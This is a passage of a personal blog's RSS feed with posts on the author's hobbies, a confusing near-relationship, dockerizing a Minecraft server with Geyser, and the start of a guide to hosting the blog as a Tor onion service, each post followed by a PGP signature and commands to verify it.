    +Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
    +wVNf/2vL14Ef4kfMWg8POj1WrgZc+pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
    +GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
    +VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS+BpKKG5wi7mFopvUFuZoPbHdmK2856P
    +e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
    +57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
    +=/VjG
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md.asc
    +gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
    +  
    +
    + + +]]>
    Hobbieshttps://blog.alipour.eu/posts/hobbies/Fri, 10 Oct 2025 07:04:54 +0000https://blog.alipour.eu/posts/hobbies/My point of view on hobbiesWhen I started my PhD, I was told “get yourself a hobby!” many many times by both my advisor, and the director of the group I worked in. +In fact, when being interviewed for the position, I was asked about my hobbies.

    +

    For some reason I think I have like the weirdest hobbies of all time. +Like, you know, people binge series, go to clubs, bars, hang out, and so on. +But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. +To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.

    +

    Let’s go back in time. +What hobbies have I had over the course of my life? +Actually as a kid I used to play games on Mobile for some reason. +I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. +I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. +Like I liked Vain Glory, and my brother liked Fifa. +We did play both in the end.

    +

    After my brother went to the capital to attend univesity, we bacame more distant. +I had to also focus on my own studies, and was actually struggling in junior-high. +Now that is a story in itself for another time. +I used to play games back then as hobby. +But my real interest was chess. +I was really good at calculating. +I was extremely sharp for my age, but since I was obbese my parents wanted me to take “active” sport classes. +So… getting into a chess class was conditional.

    +

    I have’t really done any chess studying after those early years, and I just know a few openings with little depth. +I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.

    +

    In high-school I didn’t really have any hobbies. +I did become interested in Basketball, but nothing serious. +It’s funny how I was able to become good at any sport I tried. +I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. +I think swimming was, and still is my best sport. +I never pursued it though, which is a shame.

    +

    Before starting my Bachelors, I became really interested in Cicada3301, and cryptography. +Well, not the fancy state-of-the-art cryptography, the simple classic methods. +The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! +That reminds me, we had these special things in junior-high called “Karsoogh” for math, physics, chemistry, and biology. +I think I quilified for pretty much every one of them, and had a blast every time! +In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. +But the math one was different, it happend between a few close-by NODET cities, and annualy. +The idea was simple. +They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. +Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. +We then competed against each other. +The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. +The fastest team gets the most points. +The the message is common between teams. +After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. +First teams to get an algorithm gets more points. +Our team won the best algorithm in the end, and my ideas were most influential in this achievement! +My teammates became really good friends with me after this competition which felt really cool! +I think this was the reason I became interested in cryptography. +I don’t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. +If your team solved a game, you got more points. +It was really fun, and since the games happened in parallel, all teammtes had to be active.

    +

    I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. +I like to casually get lost in questions and think about weird equations, or natural problems. +Something like Feynman’s obsession with the spaghetti problem! +Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. +But I do want to get back to this fun hobby. +I just need some questions, and an empty mind. +Or I guess some time slots to chill and not stress about my other research.

    +

    During my bachelors, I became fascinated by hardware. +Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. +Later on I realized this is related to IoT and Embedded systems. +I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! +Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! +Unfortunately I don’t have any images from the project, but the code can be found here.

    +

    I bought myself a raspberrypi, many sensors and actuators, and did small fun projects! +I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. +I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. +I could not figure out how to fix the state when commands don’t go through correctly though, a challenge that I never solved or came up with a solution for. +I would say my love with computers, making things smart, and networking became my main hobby!

    +

    After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. +It was, and still is a rat race. +Well, it’s the story of my PhD pretty much now.

    +

    Reading books became a hobby for a while, but Youtube kinda distroyed that. +I really love to get back to reading more books, I have a really exciting list of books to be read in my library. +Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. +I find doing chores so relaxing! +Since we talked about music I should mention I also tried to learn Piano, but didn’t pursue it. +I actaully wanted to learn Violine, but the consultant we talked to said “if you’re not a hard worker it won’t workout for you”, and since my brother was going to learn Piano, I followed suit. +And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. +This is a pattern that has happened in my life a lot, something I need to stop from happening. +Comparing myself with other, and competing with them. +It’s just distroying me mentally. +I am me, and the best me ever to exist. +And that’s how it should be.

    +

    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
    +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
    +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
    +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
    +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
    +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
    +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
    +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
    +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
    +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
    +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
    +=42yP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md.asc
    +gpg --verify hobbies.md.asc hobbies.md
    +  
    +
    + + +]]>
    Relationshipshttps://blog.alipour.eu/posts/relationships/Sun, 05 Oct 2025 08:03:31 +0000https://blog.alipour.eu/posts/relationships/My experience so far with relationships +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
    ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
    +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
    +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
    +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
    +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
    +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
    +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
    +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
    +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
    +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
    +=lM4c
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md.asc
    +gpg --verify relationships.md.asc relationships.md
    +  
    +
    + + +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttps://blog.alipour.eu/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000https://blog.alipour.eu/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttps://blog.alipour.eu/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000https://blog.alipour.eu/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
